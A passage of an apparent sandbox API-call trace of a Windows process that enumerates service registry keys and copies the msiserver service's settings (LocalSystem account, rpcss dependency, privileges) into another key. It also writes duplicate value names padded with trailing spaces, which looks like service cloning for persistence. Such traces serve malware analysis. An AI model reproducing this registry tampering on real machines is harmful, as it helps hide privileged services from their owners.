dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0254.500] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0254.501] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0254.502] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0254.502] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.502] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0254.502] RegCloseKey (hKey=0x148) returned 0x0 [0254.502] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.502] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.503] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.503] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.503] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.504] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.504] RegCloseKey (hKey=0x14c) returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.504] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.504] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.504] RegCloseKey (hKey=0x148) returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.505] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.506] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.507] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.507] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.507] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.508] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.509] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.509] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.509] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.510] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.511] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0254.512] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0254.512] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0254.512] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0254.512] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.513] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0254.513] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0254.513] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 